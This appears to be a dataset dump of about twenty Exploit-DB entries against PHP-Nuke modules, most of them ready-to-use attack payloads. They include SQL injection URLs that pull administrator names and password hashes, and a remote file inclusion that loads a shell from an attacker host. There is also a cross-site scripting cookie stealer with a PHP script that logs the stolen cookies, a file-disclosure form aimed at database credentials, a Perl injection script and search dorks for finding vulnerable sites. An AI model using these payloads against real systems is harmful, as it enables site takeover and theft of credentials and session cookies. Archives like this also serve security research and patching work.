deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3524
Description: PHP-Nuke Module htmltonuke 2.0alpha - 'htmltonuke.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-20
Author: Cold Zero

Exploit:
######################################################
#
# htmltonuke 2.0alpha for postnuke & PHP-Nuke(htmltonuke.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
#         http://up.9q9q.net/up/index.php?f=ddAvVTUSs
#
######################################################
#
# file :  /htmltonuke.php
#
######################################################
#
# Dork : "/nuke/htmltonuke.php" - "htmltonuke.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/
#
######################################################
# //verifie s'il y a l'extension ".htm"
# if(substr($filnavn,-4)!=".htm" && substr($filnavn,-5)!=".html" ){
#       echo "Only files HTML are authorized...";
#       CloseTable();
#       include("footer.php");
# }
# else {
#       // verifie si l'on remonte dans l'arborescense
#       // verifie si l'on sort du site
#       if( substr($filnavn,0,5)!="./../" && substr($filnavn,0,7)!="http://" ){
#               include ($filnavn);
#               CloseTable();
#               include("footer.php");
#       }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm
#
######################################################

----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper | All i know

#Big Thx For : www.4azhar.com ,  Long Life My HomeLand Palestine

# milw0rm.com [2007-03-20]
Exploit-DB #5163
Description: PHP-Nuke Module Inhalt - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-20
Author: Crackers_Child

Exploit:
/////////////////////////////////////////


Title   : Php - Nuke Module Inhalt Sql

Author  : Crackers_Child

Mail    : Cashr00t@hotmail.com

Exploit :


modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/aid,2/**/from/**/nuke_authors/*where%20admin%20-2


modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2


Greetz: Str0ke , biyofrm.com , indir21.com , sibersavascilar.com , tryag.cc

///////////////////////////////////////// 

# milw0rm.com [2008-02-20]
Exploit-DB #5186
Description: PHP-Nuke Module Kose_Yazilari - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: xcorpitx

Exploit:
  ##     ##     
   ##   ##      
    ## ##
     ###CoRPITX 
     ###     
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#  PHP-Nuke (Kose_Yazilari) SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net
#
########################################################################
# WHEN YOU PUT THIS SQL CODE YOU can SEE ADMÃ½N NAME,ADMIN HASH 
########################################################################
#
#  DorK  1 : ''name Kose_Yazilari op viewarticle artid''
#  Dork  2 : ''name Kose_Yazilari op printpage artid''
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
# 
#
modules.php?name=Kose_Yazilari&op=viewarticle&artid=-11223344%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,aid,pwd,4,5%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors
#
# 
#
modules.php?name=Kose_Yazilari&op=printpage&artid=-99999999%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F0,pwd,aid,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors
#
########################################################################

Thank my friends : pc faresi, hayalet,D3ng3s!z,SmoKin,apex,mostbiq

# milw0rm.com [2008-02-25]
Exploit-DB #5203
Description: PHP-Nuke Module My_eGallery 2.7.9 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-28
Author: Aria-Security Team

Exploit:
Aria-Security Team
http://Aria-Security.Net
-----------------------------
Shoutz: Aura, Null, imm02tal, Kinglet, and our staff
PHP-Nuke My_eGallery "gid" Remote SQL Injection
Dork: inurl:"modules.php?name=My_eGallery"

modules.php?op=modload&name=My_eGallery&file=index&do=showgall&gid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

The-0utl4w 
>From Aria-Security.Net


Original Link: http://forum.aria-security.net/showthread.php?p=1490

# milw0rm.com [2008-02-28]
Exploit-DB #5172
Description: PHP-Nuke Module NukeC 2.1 - 'id_catg' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: DamaR

Exploit:
=-==-==-==-==-==-==-==D==A==M==A==R==-==-==-==-==-==-==-==-==-==-==-=

PHP-NUKE Modules NukeC Module's Version: 2.1 Remote SQL Injection

###################################################################################

 

Found: DamaR
contact: By.DamaR@Hotmail.Com

Hack Bitti ama D횄쨋nmek Yak횆짹n  Since 2000

i횄짠in yakla횇타횆짹k 9.080 sonu횄짠tan 1 - 10 aras횆짹 sonu횄짠lar (0,17 saniye)


###################################################################################

Exploit:

/modules.php?name=NukeC&op=ViewCatg&id_catg=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2

###################################################################################


Module Copyright 횂짤 Information
NukeC module for PHP-Nuke


 Module's Name: NukeC
 Module's Version: 2.1
 Module's Description: NukeC - The Advanced Advertising System for PHP-Nuke.
NukeC Addon Module is addon module built for work on PHP-Nuke, the great web portal system.
NukeC is an advertising system that allows website visitors or members to sell something by posting the information about the item that they want to sell. With the admin sections, you could easily manage all of contents and preferences in NukeC Modules eventhough you are not a PHP programmer.
NukeC 2.1 is only work on PHP-Nuke 6.5. Please Download 2.0 or earlier for PHP-Nuke 6.0 or earlier nuke version
 License: GNU/GPL
 Author's Name: Sudirman Angriawan
 Author's Email: nukecpower@yahoo.com


###################################################################################

# milw0rm.com [2008-02-21]
Exploit-DB #3423
Description: PHP-Nuke Module PostGuestbook 0.6.1 - 'tpl_pgb_moddir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-07
Author: GoLd_M

Exploit:
# PostGuestbook 0.6.1(tpl_pgb_moddir)Remote File Include Expliot
# D.Script: http://sourceforge.net/projects/postguestbook/
# Dork: "Powered by: PostGuestbook 0.6.1"
# Discovered by GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code
# include "$tpl_pgb_moddir/styles/$tpl_style/error.php";
# Exploit:
# [VicTim]/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=Shell.php?

# milw0rm.com [2007-03-07]
Exploit-DB #13916
Description: PHP-Nuke Module print 6.0 - 'print&sid' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-17
Author: Gamoscu

Exploit:
PHP-Nuke Module print 6.0 (print&sid) SQL Injection Vulnerability
      
###########################  
Author    : Gamoscu
Homepage  : www.1923turk.com
Blog      : http://gamoscu.wordpress.com
Script    : PHP-Nuke Module print 6.0 
Download  : http://phpnuke.org/modules.php?name=Downloads&d_op=viewdownload&cid=6 
###########################    
        
[ Vulnerable File ]  
    
modules.php?name=News&file=print&sid= [ SQL ]  
         
    
[ XpL ]  
      
http://www.xxxxx/modules.php?name=News&file=print&sid=-1+union+select+1,2,pwd,aid,5,6,7+from+nuke_authors--


Deli Kurtlar derki:
    
~~~~Yerinde sayanlar,Yürüyenlerden cok gürültü yaparlar!~~~~


Lamer ibneleri!!  sizi suleyman dayýya havale ediyorum :) onlar Kendilerini iyi bilirler

Maskeli5ler cok yakinda  Deli KurtlarLA Donuyor
      
Baybora :http://baybora.wordpress.com

X-TRO   :http://maskeli5ler.wordpress.com
  
       
##############################################################    
# Greetz: Manas58 - - Delibey - Tiamo - Psiko - Turco - infazci      
##############################################################
Exploit-DB #5154
Description: PHP-Nuke Module Sections - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
###############################################################
#
# PHP-Nuke Module Sections SQL Injection(artid)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: "name Sections op viewarticle artid"
#
################################################################
example
www.xxX/xxxxSections&op=viewarticle&artid=(exploit)

EXPLOIT :

-9999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2


################################################################
# S@BUN            i AM NOT HACKER            S@BUN
################################################################

# milw0rm.com [2008-02-19]
Exploit-DB #5169
Description: PHP-Nuke Module Siir - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
###############################################################
#
# PHP-Nuke Siir SQL Injection(id)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: modules-php-name-Siir
#
# all (modules.php?name=xx) subject have secret print and
#
# and cant see op=print but cann- use exploit
#
################################################################
EXPLOIT :

modules.php?name=Siir&op=print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202

################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################


==================NOTE===================


###############################################################
#
# PHP-Nuke genaral print SQL Injection(id)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl:"modules.php?name"print
#
# DORK 2 : allinurl:"modules.php?name=Hikaye"
#
# DORK : allinurl:"modules.php?name=Fikralar"
#
# DORK : allinurl:"modules.php?name=bilgi"
#
################################################################
example

http://xxxx/modules.php?name=(xxx subject)&(subject)=exploit

you cant see print id on google becouse all system have secret print and this exploit working simetimes but not always

EXPLOIT :

print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,0x3a,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202


################################################################
# S@BUN         i AM NOT HACKER         S@BUN
################################################################

# milw0rm.com [2008-02-21]
Exploit-DB #5168
Description: PHP-Nuke Modules Manuales 0.1 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

PHP-NUKE Modules Manuales v0.1 Remote SQL Injection

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
modules.php?name=Manuales&d_op=viewdownload&cid=1/**/union/**/select/**/0,aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke,

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2008-02-21]
Exploit-DB #5159
Description: PHP-Nuke Modules Okul 1.0 - 'okulid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-20
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

PHP-NUKE Modules Okul v1.0 Remote SQL Injection

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
modules.php?name=Okul&op=okullar&okulid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, s@bun.

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-= 

# milw0rm.com [2008-02-20]
Exploit-DB #23870
Description: PHP-Nuke MS-Analysis Module - HTTP Referrer Field SQL Injection
Type: webapps
Platform: php
Date: 2004-03-22
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9948/info

Reportedly the MS-Analysis module is prone to a remote SQL injection vulnerability. This issue is due to a failure to properly sanitize user supplied HTTP header input before using it in an SQL query.

As a result of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue.

"http://www.example.com/search?q=Maty+Scripts%27UNION SELECT pwd from nuke_authors where name%3d%27God%27 AND IF(mid(pwd,1,1)%3d3,benchmark(150000,md5(1337)),1)/*"

Where www.example.com must be a considered a considered a valid search engine by the MS-Analysis module.
Exploit-DB #23869
Description: PHP-Nuke MS-Analysis Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-03-22
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/9947/info

It has been reported that MS-Analysis is prone to a multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied URI parameters.

These issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.org/nuke70/modules.php?name=MS_Analysis&file=index&op=MSAnalysisGeneral&screen=>[xss_code_here]&overview=1&sortby=
http://www.example.org/nuke70/modules/MS_Analysis/title.php?module_name=>[xss_code_here]
http://www.example.org/nuke70/modules.php?name=MS_Analysis&file=index&op=MSAnalysisGeneral&screen=3&overview=1&sortby=>[xss_code_here]
http://www.example.org/nuke70/modules.php?name=MS_Analysis&file=index&op=MSAnalysisGeneral&screen=13&overview=>[xss_code_here]&sortby=
Exploit-DB #28487
Description: PHP-Nuke MyHeadlines 4.3.1 Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-04
Author: Thomas Pollet

Exploit:
source: https://www.securityfocus.com/bid/19825/info

PHP-Nuke MyHeadlines module is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/modules.php?op=modload&name=MyHeadlines&file=index&myh=user&myh_op=show_all[code]&eid=2474
Exploit-DB #27060
Description: PHP-Nuke News Submission Story - Text Field Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-09
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16192/info

The PHPNuke Pool and News Modules are prone to an HTML injection vulnerability. This issue is due to a failure in the application modules to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<img src="javascript:window.navigate('http://www.example.com/cookies.php?c='+document.cookie);"

cookies.php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?>
Exploit-DB #4667
Description: PHP-Nuke NSN Script Depository 1.0.0 - Remote Source Disclosure
Type: webapps
Platform: php
Date: 2007-11-27
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

PHP-Nuke NSN Script Depository module <= 1.0.0 Remote Source Disclosure

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
Exploit

<?
/*
Usage: 31337.php?targ=http://[target]/[phpnuke_path]&file=[file]
Example: 31337.php?targ=http://victim.com/phpnuke&file=conf/settings.php
*/
$targ = $_GET['targ'];
$file = $_GET['file'];
echo '
<form action="$targ/modules.php?name=Script_Depository" method="post">
<input name="show_file" value="/../../$file" type="hidden">
<input value="show_file" name="op" type="hidden">
<input type="submit" value="Show Source">
</form>';
?>

Trick

In conf/settings.php there are the database credentials  ;) 
---------------------------------------------------------------

# milw0rm.com [2007-11-27]
Exploit-DB #32538
Description: PHP-Nuke Nuke League Module - 'tid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-28
Author: Ehsan_Hp200

Exploit:
source: https://www.securityfocus.com/bid/31952/info

PHP-Nuke Nuke League module is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/modules.php?name=League&file=index&op=team&tid=[XSS]
Exploit-DB #31383
Description: PHP-Nuke NukeC30 3.0 Module - 'id_catg' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-11
Author: Houssamix

Exploit:
source: https://www.securityfocus.com/bid/28197/info

The NukeC30 module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The NukeC30 module 3.0 is affected; other versions may also be vulnerable. 

http://www.example.com/modules.php?name=NukeC30&op=ViewCatg&id_catg=-1/**/union/**/select/**/concat(aid,0x3a,pwd),2/**/from/**/nuke_authors/*where%20admin%20-2
Exploit-DB #5295
Description: PHP-Nuke Platinum 7.6.b.5 - 'dynamic_titles.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-22
Author: Inphex

Exploit:
#!/usr/bin/perl
#Inphex
use LWP::UserAgent;
use LWP::Simple;
use IO::Socket;
use Switch;
#PHP-Nuke Platinum , Forums(Standart) - magic_quotes_gpc = OFF , SQL Injection
#nuke_users Structure:
#user_id 	name 	username 	user_email 	femail 	user_website 	user_avatar 	user_regdate 	user_icq 	user_occ 	user_from 	user_interests 	user_sig 	user_viewemail 	user_theme 	user_aim 	user_yim 	user_msnm 	user_password 	storynum 	umode 	uorder 	thold 	noscore 	bio 	ublockon 	ublock 	theme 	commentmax 	counter 	newsletter 	user_posts 	user_attachsig 	user_rank 	user_level 	broadcast 	popmeson 	user_active 	user_session_time 	user_session_page 	user_lastvisit 	user_timezone 	user_style 	user_lang 	user_dateformatuser_new_privmsg 	user_unread_privmsg 	user_last_privmsg 	user_emailtime 	user_allowhtml 	user_allowbbcode 	user_allowsmile 	user_allowavatar 	user_allow_pm 	user_allow_viewonline 	user_notify 	user_notify_pm 	user_popup_pm 	user_avatar_type 	user_sig_bbcode_uid user_actkey 	user_newpasswd 	last_ip 	user_color_gc 	user_color_gi 	user_quickreply 	user_allow_arcadepm 	kick_ban 	user_wordwrap 	agreedtos 	user_view_log 	user_effects 	user_privs 	user_custitle 	user_specmsg 	user_items 	user_trade 	points 	user_cash 	last_seen_blocker 	user_login_tries 	user_last_login_try 	user_gender 	user_birthday 	user_next_birthday_greeting
#Description:
#The file includes/dynamic_titles.php is vulnerable to SQL Injection - lines:  44 - 427
#What about PHP-Nukes' SQL Injection Protection?
#I could bypass its SQL Injection protection.
#If the file maintenance/index.php is on the server you can see if magic_quotes_gpc are turned off.
#You can of course edit the SQL Injection , file write is possible.
#
#Note: PHP-Nuke Platinum is very buggy,there are more bugs for sure(e.g. includes/nsbypass.php)
print "usage $0 -h localhost -p / -t nuke_users -c username -id 2\n\n";
$column = "username";
$table  = "nuke_users";
$uid    = 2;
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-id" => "uid");

$a = 0;
foreach  (@ARGV) {
	$a++;
	while (($k, $v) = each(%cm_n_)) {
		if ($_ eq $k) {
			${$v} = $ARGV[$a];
		}
	}
}
&getit("http://".$host.$path."modules.php?name=Forums&p=-1'union+select-1,".$column."+from+".$table."+where+user_id='".$uid."","<title>(.*?)<\/title>");
sub getit($$)
{
	$url = shift;
	$reg = shift;


	$ua = LWP::UserAgent->new;
    $urls = $url;
    $response = $ua->get($urls);
    $content = $response->content;

	if ($content=~m/$reg/) {
	    ($f,$s,$l) = split(">>",$1);
	    $s =~s/ Post //;
	    print $column.":".$s."\n";
	}
}

# milw0rm.com [2008-03-22]